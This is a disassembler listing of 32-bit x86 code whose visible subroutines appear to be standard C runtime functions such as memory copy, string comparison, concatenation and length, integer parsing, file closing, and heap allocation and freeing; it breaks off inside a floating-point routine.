loc_4153D7 loc_4153DD: ; CODE XREF: sub_415390+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4153E3: ; CODE XREF: sub_415390+Aj mov eax, [esp+arg_0] retn sub_415390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153F0 proc near ; CODE XREF: sub_4010B2+22Dp ; sub_4010B2+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_415410 cmp edi, eax jb loc_415588 loc_415410: ; CODE XREF: sub_4153F0+16j test edi, 3 jnz short loc_41542C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41544C rep movsd jmp off_415538[edx*4] ; --------------------------------------------------------------------------- loc_41542C: ; CODE XREF: sub_4153F0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_415444 and eax, 3 add ecx, eax jmp dword ptr loc_41544C+4[eax*4] ; --------------------------------------------------------------------------- loc_415444: ; CODE XREF: sub_4153F0+46j jmp dword ptr loc_415548[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41544C: ; CODE XREF: sub_4153F0+31j ; sub_4153F0+8Ej ... jmp off_4154CC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415460 dd offset loc_41548C dd offset loc_4154B0 ; --------------------------------------------------------------------------- loc_415460: ; DATA XREF: sub_4153F0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41544C rep movsd jmp off_415538[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41548C: ; DATA XREF: sub_4153F0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41544C rep movsd jmp off_415538[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4154B0: ; DATA XREF: sub_4153F0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41544C rep movsd jmp off_415538[edx*4] ; --------------------------------------------------------------------------- align 4 off_4154CC dd offset loc_41552F ; DATA XREF: sub_4153F0:loc_41544Cr dd offset loc_41551C dd offset loc_415514 dd offset loc_41550C dd offset loc_415504 dd offset loc_4154FC dd offset loc_4154F4 dd offset loc_4154EC ; --------------------------------------------------------------------------- loc_4154EC: ; CODE XREF: sub_4153F0:loc_41544Cj ; DATA XREF: sub_4153F0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4154F4: ; CODE XREF: sub_4153F0:loc_41544Cj ; DATA XREF: sub_4153F0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4154FC: ; CODE XREF: sub_4153F0:loc_41544Cj ; DATA XREF: sub_4153F0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_415504: ; CODE XREF: sub_4153F0:loc_41544Cj ; DATA XREF: sub_4153F0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41550C: ; CODE XREF: sub_4153F0:loc_41544Cj ; DATA XREF: sub_4153F0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_415514: ; CODE XREF: sub_4153F0:loc_41544Cj ; DATA XREF: sub_4153F0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41551C: ; CODE XREF: sub_4153F0:loc_41544Cj ; DATA XREF: sub_4153F0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41552F: ; CODE XREF: sub_4153F0:loc_41544Cj ; DATA XREF: sub_4153F0:off_4154CCo jmp off_415538[edx*4] ; --------------------------------------------------------------------------- align 4 off_415538 dd offset loc_415548 ; DATA XREF: sub_4153F0+35r ; sub_4153F0+92r ... dd offset loc_415550 dd offset loc_41555C dd offset loc_415570 ; --------------------------------------------------------------------------- loc_415548: ; CODE XREF: sub_4153F0+35j ; sub_4153F0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415550: ; CODE XREF: sub_4153F0+35j ; sub_4153F0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41555C: ; CODE XREF: sub_4153F0+35j ; sub_4153F0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415570: ; CODE XREF: sub_4153F0+35j ; sub_4153F0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415588: ; CODE XREF: sub_4153F0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4155BC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4155B0 std rep movsd cld jmp off_4156D0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4155B0: ; CODE XREF: sub_4153F0+1B1j ; sub_4153F0+208j ... neg ecx jmp off_415680[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4155BC: ; CODE XREF: sub_4153F0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4155D4 and eax, 3 sub ecx, eax jmp dword ptr loc_4155D4+4[eax*4] ; --------------------------------------------------------------------------- loc_4155D4: ; CODE XREF: sub_4153F0+1D6j ; DATA XREF: sub_4153F0+1DDr jmp off_4156D0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4155E7+1 ; --------------------------------------------------------------------------- or [esi+41h], dl add [eax], dh push esi inc ecx loc_4155E7: ; DATA XREF: sub_4153F0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_4155B0 std rep movsd cld jmp off_4156D0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4155B0 std rep movsd cld jmp off_4156D0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4155B0 std rep movsd cld jmp off_4156D0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415684 dd offset loc_41568C dd offset loc_415694 dd offset loc_41569C dd offset loc_4156A4 dd offset loc_4156AC dd offset loc_4156B4 off_415680 dd offset loc_4156C7 ; DATA XREF: sub_4153F0+1C2r ; --------------------------------------------------------------------------- loc_415684: ; DATA XREF: sub_4153F0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41568C: ; DATA XREF: sub_4153F0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_415694: ; DATA XREF: sub_4153F0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41569C: ; DATA XREF: sub_4153F0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4156A4: ; DATA XREF: sub_4153F0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4156AC: ; DATA XREF: sub_4153F0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4156B4: ; DATA XREF: sub_4153F0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4156C7: ; CODE XREF: sub_4153F0+1C2j ; DATA XREF: sub_4153F0:off_415680o jmp off_4156D0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4156D0 dd offset loc_4156E0 ; DATA XREF: sub_4153F0+1B7r ; sub_4153F0:loc_4155D4r ... dd offset loc_4156E8 dd offset loc_4156F8 dd offset loc_41570C ; --------------------------------------------------------------------------- loc_4156E0: ; CODE XREF: sub_4153F0+1B7j ; sub_4153F0:loc_4155D4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4156E8: ; CODE XREF: sub_4153F0+1B7j ; sub_4153F0:loc_4155D4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4156F8: ; CODE XREF: sub_4153F0+1B7j ; sub_4153F0:loc_4155D4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41570C: ; CODE XREF: sub_4153F0+1B7j ; sub_4153F0:loc_4155D4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4153F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415730 proc near ; CODE XREF: sub_4010B2+FCp ; sub_4010B2+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41577C loc_415740: ; CODE XREF: sub_415730+3Cj ; sub_415730+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_415774 or al, al jz short loc_415770 cmp ah, [ecx+1] jnz short loc_415774 or ah, ah jz short loc_415770 shr eax, 10h cmp al, [ecx+2] jnz short loc_415774 or al, al jz short loc_415770 cmp ah, [ecx+3] jnz short loc_415774 add ecx, 4 add edx, 4 or ah, ah jnz short loc_415740 mov edi, edi loc_415770: ; CODE XREF: sub_415730+18j ; sub_415730+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_415774: ; CODE XREF: sub_415730+14j ; sub_415730+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41577C: ; CODE XREF: sub_415730+Ej test edx, 1 jz short loc_415798 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_415774 inc ecx or al, al jz short loc_415770 test edx, 2 jz short loc_415740 loc_415798: ; CODE XREF: sub_415730+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_415774 or al, al jz short loc_415770 cmp ah, [ecx+1] jnz short loc_415774 or ah, ah jz short loc_415770 add ecx, 2 jmp short loc_415740 sub_415730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4157C0 proc near ; CODE XREF: sub_4010B2+19Ep ; sub_4018CB+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4157D9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4157D9: ; CODE XREF: sub_4157C0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4157C0 endp ; =============== S U B R O U T I N E ======================================= sub_4157F4 proc near ; CODE XREF: sub_41587F+4p ; sub_41EA02+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_4157FC: ; CODE XREF: sub_4157F4+34j cmp dword_43812C, 1 jle short loc_415814 movzx eax, byte ptr [edi] push 8 push eax call sub_418576 pop ecx pop ecx jmp short loc_415823 ; --------------------------------------------------------------------------- loc_415814: ; CODE XREF: sub_4157F4+Fj movzx eax, byte ptr [edi] mov ecx, off_437F20 mov al, [ecx+eax*2] and eax, 8 loc_415823: ; CODE XREF: sub_4157F4+1Ej test eax, eax jz short loc_41582A inc edi jmp short loc_4157FC ; --------------------------------------------------------------------------- loc_41582A: ; CODE XREF: sub_4157F4+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41583A cmp esi, 2Bh jnz short loc_41583E loc_41583A: ; CODE XREF: sub_4157F4+3Fj movzx esi, byte ptr [edi] inc edi loc_41583E: ; CODE XREF: sub_4157F4+44j xor ebx, ebx loc_415840: ; CODE XREF: sub_4157F4+7Bj cmp dword_43812C, 1 jle short loc_415855 push 4 push esi call sub_418576 pop ecx pop ecx jmp short loc_415860 ; --------------------------------------------------------------------------- loc_415855: ; CODE XREF: sub_4157F4+53j mov eax, off_437F20 mov al, [eax+esi*2] and eax, 4 loc_415860: ; CODE XREF: sub_4157F4+5Fj test eax, eax jz short loc_415871 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_415840 ; --------------------------------------------------------------------------- loc_415871: ; CODE XREF: sub_4157F4+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41587A neg eax loc_41587A: ; CODE XREF: sub_4157F4+82j pop edi pop esi pop ebp pop ebx retn sub_4157F4 endp ; =============== S U B R O U T I N E ======================================= sub_41587F proc near ; CODE XREF: sub_4013E8+12p ; sub_4013E8+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4157F4 pop ecx retn sub_41587F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41588A proc near ; CODE XREF: sub_401444+3A1p ; sub_401BD4+4F5p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_417D6C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4158C9 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4158D6 ; --------------------------------------------------------------------------- loc_4158C9: ; CODE XREF: sub_41588A+35j lea eax, [ebp+var_20] push eax push 0 call sub_417C57 pop ecx pop ecx loc_4158D6: ; CODE XREF: sub_41588A+3Dj mov eax, esi pop esi leave retn sub_41588A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4158E0 proc near ; CODE XREF: sub_401BD4+2C3p ; sub_401BD4+2E3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41595A mov dh, [ecx+1] test dh, dh jz short loc_415947 loc_4158F8: ; CODE XREF: sub_4158E0+52j ; sub_4158E0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41591A test al, al jz short loc_415914 loc_415909: ; CODE XREF: sub_4158E0+32j mov al, [esi] inc esi loc_41590C: ; CODE XREF: sub_4158E0+3Fj cmp al, dl jz short loc_41591A test al, al jnz short loc_415909 loc_415914: ; CODE XREF: sub_4158E0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41591A: ; CODE XREF: sub_4158E0+23j ; sub_4158E0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41590C lea edi, [esi-1] loc_415924: ; CODE XREF: sub_4158E0+63j mov ah, [ecx+2] test ah, ah jz short loc_415953 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_4158F8 mov al, [ecx+3] test al, al jz short loc_415953 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_415924 jmp short loc_4158F8 ; --------------------------------------------------------------------------- loc_415947: ; CODE XREF: sub_4158E0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_416F26 ; --------------------------------------------------------------------------- loc_415953: ; CODE XREF: sub_4158E0+49j ; sub_4158E0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41595A: ; CODE XREF: sub_4158E0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_4158E0 endp ; =============== S U B R O U T I N E ======================================= sub_415960 proc near ; CODE XREF: sub_40211C+92p ; sub_4059FC+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_415975 or eax, 0FFFFFFFFh jmp short loc_4159AF ; --------------------------------------------------------------------------- loc_415975: ; CODE XREF: sub_415960+Ej test al, 83h jz short loc_4159AD push esi call sub_418704 push esi mov edi, eax call sub_41869E push dword ptr [esi+10h] call sub_4185EB add esp, 0Ch test eax, eax jge short loc_41599B or edi, 0FFFFFFFFh jmp short loc_4159AD ; --------------------------------------------------------------------------- loc_41599B: ; CODE XREF: sub_415960+34j mov eax, [esi+1Ch] test eax, eax jz short loc_4159AD push eax call sub_415C9B and dword ptr [esi+1Ch], 0 pop ecx loc_4159AD: ; CODE XREF: sub_415960+17j ; sub_415960+39j ... mov eax, edi loc_4159AF: ; CODE XREF: sub_415960+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_415960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4159B6 proc near ; CODE XREF: sub_40211C+8Cp ; sub_40CD3A+2945p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_4187D6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_417D6C push [ebp+arg_0] mov edi, eax push esi call sub_418863 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_4159B6 endp ; =============== S U B R O U T I N E ======================================= sub_4159E8 proc near ; CODE XREF: sub_415A08+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_418A10 test eax, eax jnz short loc_4159F2 retn ; --------------------------------------------------------------------------- loc_4159F2: ; CODE XREF: sub_4159E8+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4188A0 add esp, 10h retn sub_4159E8 endp ; =============== S U B R O U T I N E ======================================= sub_415A08 proc near ; CODE XREF: sub_40211C+54p ; sub_4059FC+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_4159E8 add esp, 0Ch retn sub_415A08 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415A20 proc near ; CODE XREF: sub_405A96+2AEp ; sub_4098D4+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_415A91 sub_415A20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415A30 proc near ; CODE XREF: sub_40211C+32p ; sub_40211C+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_415A4C loc_415A3D: ; CODE XREF: sub_415A30+1Aj mov al, [ecx] inc ecx test al, al jz short loc_415A7F test ecx, 3 jnz short loc_415A3D loc_415A4C: ; CODE XREF: sub_415A30+Bj ; sub_415A30+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415A4C mov eax, [ecx-4] test al, al jz short loc_415A8E test ah, ah jz short loc_415A89 test eax, 0FF0000h jz short loc_415A84 test eax, 0FF000000h jz short loc_415A7F jmp short loc_415A4C ; --------------------------------------------------------------------------- loc_415A7F: ; CODE XREF: sub_415A30+12j ; sub_415A30+4Bj lea edi, [ecx-1] jmp short loc_415A91 ; --------------------------------------------------------------------------- loc_415A84: ; CODE XREF: sub_415A30+44j lea edi, [ecx-2] jmp short loc_415A91 ; --------------------------------------------------------------------------- loc_415A89: ; CODE XREF: sub_415A30+3Dj lea edi, [ecx-3] jmp short loc_415A91 ; --------------------------------------------------------------------------- loc_415A8E: ; CODE XREF: sub_415A30+39j lea edi, [ecx-4] loc_415A91: ; CODE XREF: sub_415A20+5j ; sub_415A30+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_415AB6 loc_415A9D: ; CODE XREF: sub_415A30+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_415B08 mov [edi], dl inc edi test ecx, 3 jnz short loc_415A9D jmp short loc_415AB6 ; --------------------------------------------------------------------------- loc_415AB1: ; CODE XREF: sub_415A30+9Ej ; sub_415A30+B8j mov [edi], edx add edi, 4 loc_415AB6: ; CODE XREF: sub_415A30+6Bj ; sub_415A30+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_415AB1 test dl, dl jz short loc_415B08 test dh, dh jz short loc_415AFF test edx, 0FF0000h jz short loc_415AF2 test edx, 0FF000000h jz short loc_415AEA jmp short loc_415AB1 ; --------------------------------------------------------------------------- loc_415AEA: ; CODE XREF: sub_415A30+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415AF2: ; CODE XREF: sub_415A30+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415A30+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415B08: ; CODE XREF: sub_415A30+72j ; sub_415A30+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_415A30 endp ; =============== S U B R O U T I N E ======================================= sub_415B10 proc near ; CODE XREF: sub_4021FB+19Cp ; sub_4021FB+1F0p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_415B30 loc_415B1C: ; CODE XREF: sub_415B10+19j mov al, [ecx] inc ecx test al, al jz short loc_415B63 test ecx, 3 jnz short loc_415B1C add eax, 0 loc_415B30: ; CODE XREF: sub_415B10+Aj ; sub_415B10+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415B30 mov eax, [ecx-4] test al, al jz short loc_415B81 test ah, ah jz short loc_415B77 test eax, 0FF0000h jz short loc_415B6D test eax, 0FF000000h jz short loc_415B63 jmp short loc_415B30 ; --------------------------------------------------------------------------- loc_415B63: ; CODE XREF: sub_415B10+11j ; sub_415B10+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415B6D: ; CODE XREF: sub_415B10+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415B77: ; CODE XREF: sub_415B10+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415B81: ; CODE XREF: sub_415B10+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_415B10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415B90 proc near ; CODE XREF: sub_4024D0+8p ; sub_40297A+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_415BB0 loc_415B9C: ; CODE XREF: sub_415B90+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_415B9C loc_415BB0: ; CODE XREF: sub_415B90+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_415B90 endp ; =============== S U B R O U T I N E ======================================= sub_415BBF proc near ; CODE XREF: sub_402FCD+7Ap ; sub_402FCD+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_415BD3 loc_415BCB: ; CODE XREF: sub_415BBF+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_415BCB loc_415BD3: ; CODE XREF: sub_415BBF+Aj mov edx, [esp+arg_4] push esi loc_415BD8: ; CODE XREF: sub_415BBF+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_415BD8 pop esi retn sub_415BBF endp ; =============== S U B R O U T I N E ======================================= sub_415BE9 proc near ; CODE XREF: sub_403166+21Dp ; sub_4033B6+BEp ... arg_0 = dword ptr 4 push dword_46B694 push [esp+4+arg_0] call sub_415BFB pop ecx pop ecx retn sub_415BE9 endp ; =============== S U B R O U T I N E ======================================= sub_415BFB proc near ; CODE XREF: sub_415BE9+Ap ; sub_416655+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_415C24 loc_415C02: ; CODE XREF: sub_415BFB+27j push [esp+arg_0] call sub_415C27 test eax, eax pop ecx jnz short locret_415C26 cmp [esp+arg_4], eax jz short locret_415C26 push [esp+arg_0] call sub_418A88 test eax, eax pop ecx jnz short loc_415C02 loc_415C24: ; CODE XREF: sub_415BFB+5j xor eax, eax locret_415C26: ; CODE XREF: sub_415BFB+13j ; sub_415BFB+19j retn sub_415BFB endp ; =============== S U B R O U T I N E ======================================= sub_415C27 proc near ; CODE XREF: sub_415BFB+Bp arg_0 = dword ptr 4 mov eax, dword_46CCA8 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_415C4B cmp esi, dword_46CCA0 ja short loc_415C7D push esi call sub_419011 test eax, eax pop ecx jz short loc_415C7D pop esi retn ; --------------------------------------------------------------------------- loc_415C4B: ; CODE XREF: sub_415C27+Dj cmp eax, 2 jnz short loc_415C7D mov eax, [esp+4+arg_0] test eax, eax jz short loc_415C60 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_415C63 ; --------------------------------------------------------------------------- loc_415C60: ; CODE XREF: sub_415C27+2Fj push 10h pop esi loc_415C63: ; CODE XREF: sub_415C27+37j cmp esi, dword_43A164 ja short loc_415C8A mov eax, esi shr eax, 4 push eax call sub_419AB4 test eax, eax pop ecx jnz short loc_415C99 jmp short loc_415C8A ; --------------------------------------------------------------------------- loc_415C7D: ; CODE XREF: sub_415C27+15j ; sub_415C27+20j ... test esi, esi jnz short loc_415C84 push 1 pop esi loc_415C84: ; CODE XREF: sub_415C27+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_415C8A: ; CODE XREF: sub_415C27+42j ; sub_415C27+54j push esi push 0 push dword_46CCA4 call dword_42114C ; RtlAllocateHeap loc_415C99: ; CODE XREF: sub_415C27+52j pop esi retn sub_415C27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C9B proc near ; CODE XREF: sub_4033B6+10Bp ; sub_4033B6+113p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_415D01 mov eax, dword_46CCA8 cmp eax, 3 jnz short loc_415CC7 push esi call sub_418CBD pop ecx test eax, eax push esi jz short loc_415CF3 push eax call sub_418CE8 pop ecx pop ecx jmp short loc_415D01 ; --------------------------------------------------------------------------- loc_415CC7: ; CODE XREF: sub_415C9B+14j cmp eax, 2 jnz short loc_415CF2 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_419A18 add esp, 0Ch test eax, eax jz short loc_415CF2 push eax push [ebp+arg_0] push [ebp+var_4] call sub_419A6F add esp, 0Ch jmp short loc_415D01 ; --------------------------------------------------------------------------- loc_415CF2: ; CODE XREF: sub_415C9B+2Fj ; sub_415C9B+44j push esi loc_415CF3: ; CODE XREF: sub_415C9B+20j push 0 push dword_46CCA4 call dword_421150 ; RtlFreeHeap loc_415D01: ; CODE XREF: sub_415C9B+Aj ; sub_415C9B+2Aj ... pop esi leave retn sub_415C9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415D04(double) sub_415D04 proc near ; CODE XREF: sub_404630+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_437EE0 call sub_41A6B1 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_415D8A call sub_41A579 pop ecx test eax, eax pop ecx jle short loc_415D6D cmp eax, 2 jle short loc_415D5F cmp eax, 3 jnz short loc_415D6D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_419E89 add esp, 10h jmp short loc_415DCF ; 